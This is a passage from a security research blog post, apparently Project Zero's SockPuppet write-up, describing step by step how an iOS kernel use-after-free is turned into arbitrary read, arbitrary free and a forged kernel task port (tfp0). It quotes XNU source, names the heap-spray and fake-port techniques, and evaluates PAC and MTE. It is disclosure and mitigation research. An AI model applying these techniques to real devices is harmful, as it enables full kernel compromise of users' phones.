pointer:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj951UbWmv47ile00Xjfkd5UUiRp_iNiUzxJH36qkC3ieu8Cq6jE_E_en6SyR8uQBjQDPrOLwgkQb4g-rFmDTC9Cbi_Eq8Y_ejv5y8SALZ0PLn-Sb2g088ozGnyEbo8b6RAbRUhSf7ibQBsD55O-88O4m7kAn7Npbs4mSsWwjpNzGEADPaNt9fcEDm_/s1135/1-1.png>)\n\nLooking at the getters and setters for these options via [get/set]sockopt, we quickly see that fetching the integers for the minmtu and the prefer_tempaddr fields is straightforward and will let us read data directly out of the freed buffer. We can also freely read 20 bytes from the in6po_pktinfo pointer if we manage to reclaim it. Take a look at this snippet from the ip6_getpcbopt implementation yourself:\n\n** \n**\n\ncase IPV6_PKTINFO:\n\nif (pktopt && pktopt->ip6po_pktinfo)\n\noptdata = (void *)pktopt->ip6po_pktinfo;\n\nelse {\n\n/* XXX: we don't have to do this every time... */\n\nbzero(&null_pktinfo, sizeof (null_pktinfo));\n\noptdata = (void *)&null_pktinfo;\n\n}\n\noptdatalen = sizeof (struct in6_pktinfo); // 20 bytes\n\nbreak;\n\n \n\n\ncase IPV6_USE_MIN_MTU:\n\nif (pktopt)\n\noptdata = (void *)&pktopt->ip6po_minmtu;\n\nelse\n\noptdata = (void *)&defminmtu;\n\noptdatalen = sizeof (int);\n\nbreak;\n\n \n\n\ncase IPV6_PREFER_TEMPADDR:\n\nif (pktopt)\n\noptdata = (void *)&pktopt->ip6po_prefer_tempaddr;\n\nelse\n\noptdata = (void *)&defpreftemp;\n\noptdatalen = sizeof (int);\n\nbreak; \n \n--- \n \n** \n**\n\nip6po_minmtu and ip6po_prefer_tempaddr are adjacent to each other and qword-aligned so if we manage to reclaim this freed struct with some other object containing a pointer we will be able to read out the pointer and defeat ASLR. We can also take advantage of these fields by using them as an oracle for heap spray success. We spray objects containing an arbitrary pointer value we choose at a location that overlaps the in6po_pktinfo field and a magic value in the mintmu field. This way we can repeatedly read out the minmtu field, so if we see our magic value we know it is safe to dereference the pointer in in6po_pktinfo. It is generally safe to read the inp6_outputopts because we know it is already mapped, but not in6po_pktinfo as it could have been reclaimed by some other garbage that points to unmapped or unreadable memory. Before we talk about which object we spray to leak a pointer and how to spray arbitrary data, let\u2019s quickly figure out what primitive we can build from the setsockopt corruption.\n\n** \n**\n\nUnfortunately, the setsockopt path, unlike the getsockopt path, is not as easy to use as it first appears. Most of the relevant options are root only or are highly constrained. This still leaves IPV6_2292PKTINFO/IPV6_PKTINFO as the best option, but in testing and reading the code it appeared impossible to write anything but highly constrained values there. The ipi6_addr field, which looks perfect for writing arbitrary data, must be set to 0 to pass a check that it is unspecified. And the interface index has to be valid, which constrains us to low values. If the interface is 0, it frees the options. This means we can only write 16 null bytes plus a small non-zero 4 byte integer anywhere in memory. That\u2019s certainly enough for exploitation, but what about the free case? As long as you pass in a pktinfo struct containing 20 null bytes, ip6_setpktopt will call ip6_clearpktopts for you, which finally calls FREE(pktopt->ip6po_pktinfo, M_IP6OPT). Remember, in6po_pktinfo is our controlled pointer, so this means we have an arbitrary free. Even better, it\u2019s a bare free, meaning we can free any object without knowing its zone. That\u2019s because FREE is a wrapper for kfree_addr, which looks up the zone on your behalf. To keep late stage exploitation generic, I opted for the arbitrary free primitive over the constrained write primitive.\n\n### Implementing and testing the heap spray\n\nNow that we have an attack plan, it\u2019s just a matter of figuring out a way to spray the heap with controlled data. Fortunately for us, there is already a well-known way to do this via IOSurface, and even better, Brandon Azad (@_bazad) already had some code to do it! After some debugging and integration into my exploit, I had a working \u201cstage 1\u201d abstraction that could read and free an arbitrary address, by reclaiming and checking the minmtu magic value as described above. This IOSurface technique was used as early as 2016 as part of an [in-the-wild exploit chain](<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-1.html>) for 10.0.1-10.1.1.\n\n** \n**\n\nWhen testing on different iOS devices and versions, I found that spray behavior was different. What was fast and reliable on one device was unreliable on another. Fortunately, improvements for one device generally benefited all platforms and versions, so I didn\u2019t need to worry about maintaining multiple spray patterns per-platform. Some of the parameters involved here are the number of objects to spray per attempt, how many times to retry, and the order in which to make allocations of both the sprayed and (use-after-)freed socket options. Understanding heap allocator internals across versions and devices would be ideal, but I found experimentation was sufficient for my purposes. This is a CTF insight; I used to solve Linux heap problems by reading glibc and carefully planning out an exploit on paper. A couple years later, the popular approach had shifted (at least for me) to using tools to inspect the state of the heap, and iterating quickly to check how high level modifications to the exploit would change the heap layout. Of course, I didn\u2019t have such tooling on iOS. But by checking the minmtu value, I did have a safe oracle to test spray performance and reliability, so it was quick to iterate by hand. When iOS 12.4 regressed and reintroduced this vulnerability, I tested the exploit against an iPhone XR and found that the spray failed often. But after changing the order in which I did sprays (creating a new dangling pointer after each spray attempt, instead of all at once in the beginning), success became quick and reliable again. I have no doubt that keeping a good understanding of the internals is superior, but treating this like an experimental black box is pretty fun.\n\n** \n**\n\nWhat makes the SockPuppet exploit fast? Other exploits often rely on garbage collection in order to get their freed object reallocated across a zone. Because all of the objects I used were in the same generic size-based zone, I needed fewer allocations to succeed, and I didn\u2019t have to trigger and wait for garbage collection.\n\n## Learning about tfp0\n\nAt this point, I have stretched the initial bug to its limits, and that has given me an arbitrary read and an arbitrary free. With this we can now create a new use after free where there was never a bug in the original code. I took a look around for any cute shallow tricks that others might have overlooked in the BSD part of the kernel tree before accepting that the Mach exploitation path offers some nice facilities for kernel exploitation, and so it was time to learn it.\n\n** \n**\n\nIf you follow iOS kernel exploitation even casually, you\u2019ve probably heard of \u201ctfp0.\u201d So what is it exactly? It\u2019s a short name for task_for_pid, which returns to you a Mach port with a send right to the task with the given pid. When you call it with pid 0, this gives you the kernel task port. A port is one of the fundamental primitives of Mach. It\u2019s like a file descriptor that is used to represent message queues. Every such message queue in the kernel has one receiver, and potentially multiple senders. Given a port name, such as the one returned by task_for_pid, you can send or receive a Mach message to that queue, depending on what rights you have to access it. The kernel_task is like any other task in Mach in that it exposes a task port.\n\n** \n**\n\nWhat\u2019s so great about getting access to the kernel task port? Just take a look at osfmk/mach/mach_vm.defs in the XNU sources. It has calls like mach_vm_allocate, mach_vm_deallocate, mach_vm_protect, and mach_vm_read_overwrite. If we have a send right to a task port, we can read, write, and allocate memory in that process. XNU supports this abstraction for the kernel_task, which means you can use this clean API to manipulate memory in the kernel\u2019s address space. I couldn\u2019t help but feel that every iPhone has this \u201ccheat\u201d menu inside of it, and you have to pass a serious test of your skills to unlock it. You can see why this is so appealing for exploitation, and why I was so excited to try to get ahold of it! Of course, we can\u2019t just call task_for_pid(0) from our unprivileged sandboxed app. But if we can implement this function call in terms of our memory corruption primitives, we\u2019ll be able to pretend we did!\n\n** \n**\n\nTo understand what we need to do to simulate a legitimate tfp0 call, let\u2019s look at how a message we send from our task to another task (perhaps kernel_task) actually looks, starting from the port name (file descriptor equivalent) in userland all the way to message delivery.\n\n** \n**\n\nLet\u2019s start by taking a look at the struct representing a message header:\n\n** \n**\n\ntypedef struct {\n\nmach_msg_bits_t msgh_bits; // \"disposition\", e.g. MACH_MSG_TYPE_COPY_SEND\n\nmach_msg_size_t msgh_size;\n\nmach_port_t msgh_remote_port; // destination port name\n\nmach_port_t msgh_local_port;\n\nmach_port_name_t msgh_voucher_port;\n\nmach_msg_id_t msgh_id;\n\n} mach_msg_header_t; \n \n--- \n \n** \n**\n\nI\u2019ve labeled the important fields above. msgh_remote_port contains the destination port name, which will be the kernel task port name if we have access to it. The msgh_bits specify a number of flags, one of them being the \u201cdisposition\u201d of the message we\u2019re sending for the different port names. If we have the send right to the kernel task port, for example, we\u2019ll set msgh_bits to tell the kernel to copy the send right we have in our IPC space to the message. If this sounds tricky, don\u2019t worry. The main thing to keep in mind is that we name the destination of the message in the header, and we also mark how we want to use the capability we have for it stored in our IPC namespace (mach file descriptor table).\n\n** \n**\n\nWhen we want to send a message from userland, we do a mach trap, the mach equivalent of a syscall, called mach_msg_overwrite_trap. Let\u2019s look at the MACH_SEND_MSG case and follow along, so we find out what we\u2019ll need to arrange in kernel memory for tfp0:\n\n** \n**\n\nmach_msg_return_t mach_msg_overwrite_trap(\n\nstruct mach_msg_overwrite_trap_args* args) {\n\n// ...\n\nmach_msg_return_t mr = MACH_MSG_SUCCESS;\n\nvm_map_t map = current_map();\n\n \n\n\nif (option & MACH_SEND_MSG) {\n\nipc_space_t space = current_space();\n\nipc_kmsg_t kmsg;\n\n \n\n\nmr = ipc_kmsg_get(msg_addr, send_size, &kmsg);\n\n// ...\n\nmr = ipc_kmsg_copyin(kmsg, space, map, override, &option);\n\n// ...\n\nmr = ipc_kmsg_send(kmsg, option, msg_timeout);\n\n// ... \n \n--- \n \n** \n**\n\nIf we want to deliver a message to the kernel task port, we just need to understand how ipc_kmsg_get, ipc_kmsg_copyin, and ipc_kmsg_send work. ipc_kmsg_get simply copies the message from the calling task\u2019s address space into kernel memory. ipc_kmsg_copyin actually does interesting work. Let\u2019s see how it ingests the message header through a call to ipc_kmsg_copyin_header.\n\n** \n**\n\nmach_msg_return_t ipc_kmsg_copyin_header(ipc_kmsg_t kmsg, ipc_space_t space,\n\nmach_msg_priority_t override,\n\nmach_msg_option_t *optionp) {\n\nmach_msg_header_t *msg = kmsg->ikm_header;\n\nmach_msg_bits_t mbits = msg->msgh_bits & MACH_MSGH_BITS_USER;\n\nmach_port_name_t dest_name = CAST_MACH_PORT_TO_NAME(msg->msgh_remote_port);\n\nmach_port_name_t reply_name = CAST_MACH_PORT_TO_NAME(msg->msgh_local_port);\n\n \n\n\nmach_msg_type_name_t dest_type = MACH_MSGH_BITS_REMOTE(mbits);\n\nipc_object_t dest_port = IO_NULL;\n\nipc_port_t dest_soright = IP_NULL;\n\nipc_entry_t dest_entry = IE_NULL;\n\n \n\n\nif (dest_name != reply_name) {\n\n// nedwill: this converts name to ipc_entry_t\n\ndest_entry = ipc_entry_lookup(space, dest_name);\n\nif (dest_entry == IE_NULL) {\n\ngoto invalid_dest;\n\n}\n\n \n\n\n// nedwill: this converts ipc_entry_t to ipc_port_t (and checks capability)\n\nkr = ipc_right_copyin(space, dest_name, dest_entry, dest_type, FALSE,\n\n&dest_port, &dest_soright, &release_port, &assertcnt);\n\nif (kr != KERN_SUCCESS) {\n\ngoto invalid_dest;\n\n}\n\n \n\n\n// ...\n\n}\n\n \n\n\n// ...\n\nmsg->msgh_bits =\n\nMACH_MSGH_BITS_SET(dest_type, reply_type, voucher_type, mbits);\n\nmsg->msgh_remote_port = (ipc_port_t)dest_port;\n\n \n\n\n// ...\n\n} \n \n--- \n \n** \n**\n\nipc_kmsg_copyin_header serves to convert the remote port name into the port object, updating the msg->msgh_remote_port to point to the actual object instead of storing the task-specific name. This is the BSD/Linux equivalent of converting a file descriptor into the actual kernel structure that it refers to. The message header has several name fields, but I\u2019ve simplified the code to highlight the destination case, since we\u2019ll want the kernel_task port to be our destination port. The ipc_space_t space argument represents the IPC space for the current running task, which is the Mach equivalent of the file descriptor table. First, we lookup the dest_name in the IPC space to get the ipc_entry_t representing it. Every ipc_entry_t has a field called ie_bits which contains the permissions our task has to interact with the port in question. Here\u2019s what the IPC entry struct looks like:\n\n** \n**\n\nstruct ipc_entry {\n\nstruct ipc_object *ie_object; // pointer to the ipc_port_t\n\nipc_entry_bits_t ie_bits; // our rights (receive/send/send-once/etc.)\n\nmach_port_index_t ie_index;\n\n...\n\n}; \n \n--- \n \n** \n**\n\nRemember that the header of the message we sent has a \u201cdisposition\u201d for the destination which describes what we want our message to do with the capability we have for the remote port name. Here\u2019s where that actually gets validated and consumed:\n\n** \n**\n\nkern_return_t ipc_right_copyin(ipc_space_t space, mach_port_name_t name,\n\nipc_entry_t entry,\n\nmach_msg_type_name_t msgt_name, boolean_t deadok,\n\nipc_object_t *objectp, ipc_port_t *sorightp,\n\nipc_port_t *releasep, int *assertcntp) {\n\nipc_entry_bits_t bits;\n\nipc_port_t port;\n\n \n\n\n*releasep = IP_NULL;\n\n*assertcntp = 0;\n\n \n\n\nbits = entry->ie_bits;\n\n \n\n\nswitch (msgt_name) {\n\ncase MACH_MSG_TYPE_COPY_SEND: {\n\nif (bits & MACH_PORT_TYPE_DEAD_NAME) goto copy_dead;\n\n \n\n\n/* allow for dead send-once rights */\n\nif ((bits & MACH_PORT_TYPE_SEND_RIGHTS) == 0) goto invalid_right;\n\n \n\n\nport = (ipc_port_t)entry->ie_object;\n\n \n\n\nif ((bits & MACH_PORT_TYPE_SEND) == 0) {\n\nassert(IE_BITS_TYPE(bits) == MACH_PORT_TYPE_SEND_ONCE);\n\nassert(port->ip_sorights > 0);\n\n \n\n\nip_unlock(port);\n\ngoto invalid_right;\n\n}\n\n \n\n\nport->ip_srights++;\n\nip_reference(port);\n\nip_unlock(port);\n\n \n\n\n*objectp = (ipc_object_t)port;\n\n*sorightp = IP_NULL;\n\nbreak;\n\n}\n\n \n\n\ndefault:\n\ninvalid_right:\n\nreturn KERN_INVALID_RIGHT;\n\n}\n\n \n\n\nreturn KERN_SUCCESS;\n\n} \n \n--- \n \n** \n**\n\nHere, I\u2019ve reproduced the code for the MACH_MSG_TYPE_COPY_SEND case. You can see where ie_bits from the IPC entry is used to check the permission we have. If we want to take advantage of the send right in this message, we can copy the right to the message, and this code checks that we have the right in ie_bits before updating the relevant reference counts and finally giving us access to the port object to which we can enqueue messages. If we don\u2019t have the proper permissions according to entry->ie_bits, the attempt to send the message will fail.\n\n** \n**\n\nNow that our message is copied in, validated, and updated to contain real kernel object pointers, ipc_kmsg_send goes ahead and just adds our message to the destination queue:\n\n** \n**\n\nmach_msg_return_t ipc_kmsg_send(ipc_kmsg_t kmsg, mach_msg_option_t option,\n\nmach_msg_timeout_t send_timeout) {\n\nipc_port_t port;\n\nthread_t th = current_thread();\n\nmach_msg_return_t error = MACH_MSG_SUCCESS;\n\nboolean_t kernel_reply = FALSE;\n\n \n\n\nport = (ipc_port_t)kmsg->ikm_header->msgh_remote_port;\n\nassert(IP_VALID(port));\n\nip_lock(port);\n\n \n\n\nif (port->ip_receiver == ipc_space_kernel) {\n\nport->ip_messages.imq_seqno++;\n\nip_unlock(port);\n\n \n\n\nkmsg = ipc_kobject_server(kmsg, option);\n\nif (kmsg == IKM_NULL) return MACH_MSG_SUCCESS;\n\n \n\n\n/* restart the KMSG_INFO tracing for the reply message */\n\nport = (ipc_port_t)kmsg->ikm_header->msgh_remote_port;\n\nassert(IP_VALID(port));\n\nip_lock(port);\n\n/* fall thru with reply - same options */\n\nkernel_reply = TRUE;\n\nif (!ip_active(port)) error = MACH_SEND_INVALID_DEST;\n\n}\n\n \n\n\nif (error != MACH_MSG_SUCCESS) {\n\nip_unlock(port);\n\n} else {\n\n// ...\n\nerror = ipc_mqueue_send(&port->ip_messages, kmsg, option, send_timeout);\n\n}\n\n// ...\n\nreturn error;\n\n} \n \n--- \n \n** \n**\n\nAs you can see above, if the destination port\u2019s ip_receiver is the kernel IPC space, ipc_kobject_server is called as a special case to handle the kernel message. The kernel task port has the kernel IPC space as its ip_receiver, so we\u2019ll make sure to replicate that when we are arranging for tfp0.\n\n** \n**\n\nWhew, that was a lot! Now that we see the essentials behind message sending, we are ready to envision our goal state, i.e., how we want kernel memory to look as if we had called tfp0 successfully. We\u2019ll want to add an IPC entry to our IPC space, with ie_object pointing to the kernel task port, and ie_bits indicating that we have a send right. Here\u2019s how this looks:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgendYjwtKngXi7lho6rG3cXEnHVqkesInTnD78bdpU54MD5UM6RWF-D81j7KT4_QSsqLs_GOPqd6JMebn3zc2jmfyIHZ4Am0FfINmnM9FtZamw9xnEiJ5zN8FD92HBPgEiFSV2zREoZhbkDDrdMOVJNJj8TwCbbWti6dTzis5_qGupLhwZbvUmKaYv/s1074/2-2.png>)\n\nThe green nodes above represent all the data structures that are part of our current task which is running the exploit. The blue node is a fake IPC port that we\u2019ll set up to point to the kernel task and the kernel task\u2019s IPC table. Remember the ie_bits field specifies the permissions we have to interact with the ie_object, so we\u2019ll want to make sure we have a send right to it specified there.\n\n## Defeating ASLR and faking data structures\n\nIPC systems generally need a way to serialize file descriptors and send them over a pipe, and the kernel needs to understand this convention to do the proper accounting. Mach is no exception. Mach ports, like file descriptors, can be sent by one process to another with send rights attached. You can send an out of line port from one process to another using a special message that contains a mach_msg_ool_descriptor_t. If you\u2019d like to send multiple ports in a single message, you can send mach_msg_ool_ports_descriptor_t, an array of ports stored out of line (OOL), meaning outside of the message header itself. We, like many others, will be using the OOL ports descriptor in our exploit.\n\n** \n**\n\nWhat makes the OOL ports array so useful is that you completely control the size of the array. When you pass in an array of mach port names, the kernel will allocate space for an arbitrary number of pointers, each of which is filled with a pointer to the ipc_port structure that we want to send. In case you didn\u2019t notice, we can use this trick as an ASLR bypass as we can overlap an OOL descriptor array of port pointers with the freed buffer of size 192, and simply read the two adjacent int fields from the freed struct via getsockopt. At this point we can start to traverse the kernel data structures with our arbitrary read.\n\n** \n**\n\nMany exploits turn a corruption bug into a read primitive. We have the rare privilege of having a reliable read primitive before we do any corruption, so we use that combined with this pointer disclosure to leak all the relevant pointers to complete the exploit, including setting up crafted data at a known address. We go ahead and do all the necessary traversal now as you can see below.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiv7eSfgAfici4UTIIpB7JRQwTJeTFzLV0eZdcgZwXreLmIDKk1AyZ3K1_DGejF8nh8UrFMZG-WB1X4Jam5JJSNpOkQJdyWhXgvrXGSBUqHPYRGlyAr3BL3OUphLnlZkQMhINtMKzW1-FZ524XwQqJo0HSHdpEfouUXVc--_2SM67wnNCejs2sxCk6R/s714/3-3.png>)\n\nThe green nodes above represent the seed values for our exploration, and the orange nodes represent the values we\u2019re trying to find. By spraying a message with an OOL port descriptor array containing pointers to ipc_port structs representing our host port, we find its ipc_port which will give us ipc_space_kernel via the receiver field.\n\n** \n**\n\nWe repeat the same initial trick to find the ipc_port for our own task. From there we find our task\u2019s file descriptor table and use this to find a vtable for socket options and a pipe buffer. The vtable will give us pointers into the kernelcache binary. Because the kernel process\u2019s BSD representation kernproc is allocated globally in bsd/kern/bsd_init.c, we can use a known offset from the socketops table to find it and lookup the address of kernel_task.\n\n** \n**\n\nThe pipe buffer is created by a call to the pipe() syscall, and it allocates a buffer that we can write to and read from via a file descriptor. This is a well known trick for getting known data at a known address. In order to make the fake ipc_port that we\u2019ll inject into our IPC space, we create a pipe and send data to it. The pipe stores queued data into a buffer on the kernel heap, allocated via the generic size-based zones. We can read and write to that buffer repeatedly from userspace by reading and writing to the relevant pipe file descriptors, and that data is stored in kernel memory. By knowing the address of the buffer for our pipe, we can store controlled data there and create pointers to it. We\u2019ll need that to make a crafted ipc_port for the kernel task.\n\n** \n**\n\nSo we can now create our fake ipc_port and point it to the kernel_task and the ipc_space_kernel, right? I should point out now that even if we could call task_for_pid(0) and obtain a kernel_task port, we wouldn\u2019t be able to send messages to it. Any userland task that tries to send a message to the kernel_task will be blocked from doing so when the kernel turns an ipc_port for a task into the task struct. This is implemented in task_conversion_eval:\n\n** \n**\n\nkern_return_t\n\ntask_conversion_eval(task_t caller, task_t victim)\n\n{\n\n/*\n\n* Tasks are allowed to resolve their own task ports, and the kernel is\n\n* allowed to resolve anyone's task port.\n\n*/\n\nif (caller == kernel_task) {\n\nreturn KERN_SUCCESS;\n\n}\n\n \n\n\nif (caller == victim) {\n\nreturn KERN_SUCCESS;\n\n}\n\n \n\n\n/*\n\n* Only the kernel can can resolve the kernel's task port. We've established\n\n* by this point that the caller is not kernel_task.\n\n*/\n\nif (victim == TASK_NULL || victim == kernel_task) {\n\nreturn KERN_INVALID_SECURITY;\n\n}\n\n// ... \n \n--- \n \n** \n**\n\nI use the trick that many others have used, and simply created a copy of the kernel_task object so the pointer comparison they use won\u2019t detect that I\u2019m sending a message to the fake kernel_task object. It doesn\u2019t matter that it\u2019s not the real kernel_task because it\u2019s simple to support the mach_vm_* functions with a fake kernel_task; we simply need to copy the kernel\u2019s kernel_map and initialize a few other fields. You can see in the diagram above that we can simply pull that from the kernel_task, whose address we already know. We\u2019ll store the fake kernel task adjacent to our fake ipc_port in the pipe buffer. For an example of this approach being used in the wild, see [this exploit writeup](<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-2.html>) from Ian Beer on the team.\n\n## Injecting our kernel_task port\n\nWe\u2019re now going to use the OOL port descriptor array for another purpose. We send a message to ourselves containing an OOL array containing copies of our task port name, which we have the send right to. The send right validation happens initially when the message is sent, so if we edit the array while it\u2019s waiting to be delivered, we can overwrite one of the ipc_ports to point to our fake kernel_task ipc_port. This trick is adapted from Stefan Esser\u2019s excellent [presentation](<https://www.slideshare.net/i0n1c/cansecwest-2017-portal-to-the-ios-core>) on the subject, and has been used in several exploits. Note that an ipc_port has no notion itself of a send or receive right; those rights are tracked as part of the ipc_entry and are handled outside of the ipc_port. This makes sense, because a port encapsulates a given message queue. The rights to send or receive to that queue are specific to each process, so we can see why that information is stored in each process\u2019s table independently.\n\n** \n**\n\nEven though this trick of overwriting a pointer in an OOL port descriptor array is a known exploit technique, it\u2019s up to the exploit developer to figure out how to actually make this corruption happen. We have an arbitrary read and arbitrary free. OOL port descriptor arrays and pipe buffers are allocated out of the global zone. We can combine these facts! Earlier we noted down the address of our pipe buffer. So we just free the pipe buffer\u2019s actual buffer address and spray OOL port descriptor arrays. We then read the pipe buffer looking for our task\u2019s ipc_port, overwriting it with the pointer to our fake port. Then we deliver the message to ourselves and check whether we managed to inject the fake kernel task port.\n\n** \n**\n\nAt this point, we have tfp0. Like voucher_swap and other exploits, we want to use this temporary tfp0 using pipe buffer structures to bootstrap a more stable tfp0. We do this by using the kernel task port to allocate a page of kernel memory dedicated to storing our data, and then using the write primitive to write our fake task port and kernel_task there. We then change our IPC space entry to point to this new ipc_port.\n\n** \n**\n\nWe still have a pipe structure with a dangling pointer to a freed buffer. We don\u2019t want it to double-free when we close the fd, so we use our new stable tfp0 powers to null out that pointer. We essentially did two actions to corrupt memory: free that pointer, and use the new use-after-free pipe buffer to overwrite a single ipc_port pointer, so keeping track of cleanup is fairly straightforward.\n\n** \n**\n\nIf you want to read and test the exploit yourself, you can grab it [here](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1806#c13>).\n\n## Evaluating PAC and MTE\n\nBecause this exploit is based on a memory corruption bug, there\u2019s a lingering question of how it is affected by different mitigations. With the A12 chip, Apple brought PAC (Pointer Authentication) to iOS, which appears to be designed to limit kernel code execution assuming arbitrary kernel read/write among other goals. This sounds like a pretty strong mitigation, and without any real experience I wasn\u2019t sure how exploitation would fare. I was testing on an A9 chip, so I just hoped I wouldn\u2019t do anything in my exploit that would turn out to be mitigated by PAC. This was the case. Because my exploit only targeted data structures and did not involve arbitrary code execution, there were no code pointers to forge.\n\n** \n**\n\niOS 13 is beginning to introduce protections for some data pointers, so it is worthwhile to examine which pointers I would need to forge for this exploit to have worked in the context of data PAC. PAC protects return addresses on the stack from corruption by signing them with a private key and the location of the pointer itself on the stack as a context value. However, other code pointers are signed without a context value. Similarly, the effectiveness of data PAC will likely depend on how Apple chooses to use context values.\n\n** \n**\n\nLet\u2019s consider the situation where all data pointers are protected but not signed with a context based on location. In this scenario we can copy them from one location to another so long as we manage to leak them. This is better known as a \u201cpointer substitution attack,\u201d and has been described by Brandon in his [blog post about PAC](<https://googleprojectzero.blogspot.com/2019/02/examining-pointer-authentication-on.html>).\n\n** \n**\n\nOur read primitive remains effective in the context of data PAC since our dangling pointer is still signed. There are several attacker-sourced pointers we ultimately need to either forge or substitute: ipc_space_kernel, kernel_map, &fake_port, and &fake_task, along with all the intermediate reads needed to find them. Recall that the &fake_port and &fake_task are pointers to pipe buffers. For our initial entrypoint, It doesn\u2019t matter if the pktinfo pointer is protected, because we have to leak a real ipc_port pointer anyways via the OOL ports spray. This means we can collect a signed ipc_port, and do all of the up front data structure traversals we do already, copying the PAC data pointers without a problem. ipc_space_kernel and kernel_map are already signed, and if pipe buffers are signed we can simply split the fake port and task across two pipe buffers and obtain a signed pointer to each buffer. In any case, the exploit would not work completely out of the box, because we do forge a pointer into the file descriptor table to lookup arbitrary fd structures and some lookups may require reading more than 20 bytes of data. However, I\u2019m confident that the read primitive is powerful enough to work around these gaps without significant effort.\n\n** \n**\n\nIn practice iOS 13 only protects some data pointers, which paradoxically might improve end user security. For example, if pipe buffers are unprotected, simply leaking the address of one is unlikely to let us use that pointer to represent a fake ipc_port if pointers to ports are signed. An examination of the kernel cache for 17B5068e revealed that IPC port pointers are indeed not protected, but I do think they plan to do so (or already do so in non-beta builds) according to Apple\u2019s BlackHat talk earlier this year. Like any mitigation combined with a bug providing strong initial primitives, it\u2019s just a matter of designing alternative exploit techniques. Without considering the whack-a-mole of which pointers should be protected or unprotected, I\u2019m hoping that in the future, as many pointers as possible are signed with the location as a context to help mitigate the effect of pointer substitution attacks. As we can see from our thought experiment, there isn\u2019t much to be gained with a good use-after-free based read primitive if data pointers are simply signed with a context of 0.\n\n** \n**\n\nThe other mitigation to consider is the Memory Tagging Extension (MTE) for ARM, an upcoming CPU feature that I believe that Apple will try to implement. There\u2019s a nice high level summary for this mitigation [here](<https://security.googleblog.com/2019/08/adopting-arm-memory-tagging-extension.html>) and [here](<https://community.arm.com/developer/ip-products/processors/b/processors-ip-blog/posts/enhancing-memory-safety>). In essence, memory allocations will be assigned a random tag by the memory allocator that will be part of the upper unused bits of the pointer, like in PAC. The correct tag value will be stored out of line, similar to how ASAN stores heap metadata out of line. When the processor goes to dereference the pointer, it will check if the tag matches. This vulnerability would have been mitigated by MTE, because we trigger the use after free many times in the exploit, and every time the freed pointer would be accessed, its tag would be compared against the new tag for the freed range or that of whichever allocation reclaimed the buffer. Depending on what the CPU or kernel is configured to do when a mismatching tag is identified will affect how an exploit will proceed. I would expect that Apple [configure either a synchronous or asynchronous exception](<https://developer.arm.com/docs/ddi0595/b/aarch64-system-registers/sctlr_el3#TCF>) to occur during tag check failure, considering they make an effort to trigger data aborts for PAC violations according to [their LLVM documentation for PAC](<https://github.com/apple/llvm-project/blob/a63a81bd9911f87a0b5dcd5bdd7ccdda7124af87/clang/docs/PointerAuthentication.rst#basic-concepts>): \u201cWhile ARMv8.3's aut* instructions do not themselves trap on failure, the compiler only ever emits them in sequences that will trap.\u201d\n\n** \n**\n\nUsing corrupted code pointers forged by an attacker is a rare occurrence, but invalid heap accesses happen very often in real code. I suspect many bugs will be identified using MTE, and look forward to seeing its use in the iPhone. If it is combined with the current PAC implementation, it will be a huge boost to security for end users.\n\n## The iOS Exploit Meta\n\nI found it interesting to see which techniques I used are part of the iOS exploit \u201cmeta,\u201d that is, the tricks that are used often in public exploits and those seen in the wild. These were all the techniques I came across and how and if I incorporated them into the exploit. As mentioned earlier, for the closest publicly documented variant of the approach I used, see Stefan Esser\u2019s presentation [on the topic](<https://www.slideshare.net/i0n1c/cansecwest-2017-portal-to-the-ios-core>), which seems to be the first to use this basket of techniques.\n\n** \n**\n\nSummary\n\n| \n\nBenefit\n\n| \n\nUsed? \n \n---|---|--- \n \nIOSurface subsystem\n\n| \n\nSpray arbitrary data of controlled contents and size in kernel address space\n\n| \n\nYes \n \nOOL port descriptor array\n\n| \n\nSpray arbitrary multiple of 8 array containing pointers to ipc_ports with send right\n\n| \n\nYes \n \nPipe buffers\n\n| \n\nRepeatable read/write from userland of malloced buffer without needing sprays\n\n| \n\nYes \n \nLooking around the host port for other early ports\n\n| \n\nFind the kernel task port\n\n| \n\nYes, SockPuppetV1, replaced with my own variant later \n \nCopying kernel_task task port to a new address\n\n| \n\nBypass kernel_task task port check for messages coming from a user task\n\n| \n\nYes \n \nCreating a fake task port pointing to an arbitrary \u201ctask\u201d and reading its PID\n\n| \n\nRepeatable arbitrary read\n\n| \n\nNo, already had arbitrary read directly via first stage \n \nTriggering zone allocator garbage collection\n\n| \n\nReclaim an object from one zone with an object from another\n\n| \n\nNo, all relevant objects were already in the generic size-based zones \n \n## A bug\u2019s life\n\nWhen testing my exploit on older phones, I noticed that my 32-bit iPhone 5 was still running iOS 9.2. Out of curiosity I tested the highly exploitable disconnectx PoC that permits corrupting memory via the freed buffer and was shocked to see that the PoC worked right away. The kernel panicked when accessing freed memory (0xDEADBEEF was present in one of the registers when the crash occurred). After some more testing, I found that the PoC worked on the first XNU version where disconnectx was introduced: the Mavericks kernel included with the release of macOS 10.9.0. The iOS 7 beta 1 kernel came soon after Mavericks, so it\u2019s likely that iOS 7 beta 1 until iOS 12.2/12.4 was affected by this bug. September 18, 2013 was the official release date of iOS 7, so it appears that macOS and iOS users were broadly affected by this vulnerability for over 5 years.\n\n# Conclusion\n\nIt is somewhat surprising that a bug with such a strong initial primitive was present in iOS for as long as it was. I had been following public iOS security research since the iPhone\u2019s inception and it wasn\u2019t until recently that I realized I might be capable of finding a bug in the kernel myself. When I read exploit writeups during the iOS 7 era, I saw that there were large chains of logic bugs combined with memory corruption. But I knew from my work on Chrome that fuzzing tools have become so effective recently that memory corruption bugs in attack surfaces that were thought to be well audited could be discovered again. We can see that this is true for iOS (as much as it is for other platforms like Chrome that were thought to be very difficult to break), that single bugs that are sufficient for privilege escalation existed even during the time when large chains were used. Attacker-side memory corruption research is too easy now: we need MTE or other dynamic checks to start making a dent in this problem.\n\n** \n**\n\nI\u2019d like to give credit to @_bazad for his patience with my questions about Mach. SockPuppet was heavily inspired by his voucher_swap exploit, which was in turn inspired by many exploit techniques that came before it. It is really a testament to the strength of some exploitation tricks that they appear in so many exploits. With PAC protection for key data pointers, we may see the meta shift again as the dominant approach of injecting fake task ports is on Apple\u2019s radar, and mitigations against it are arriving.\n\n \n\n\nFinally, if Apple made XNU sources available more often, ideally 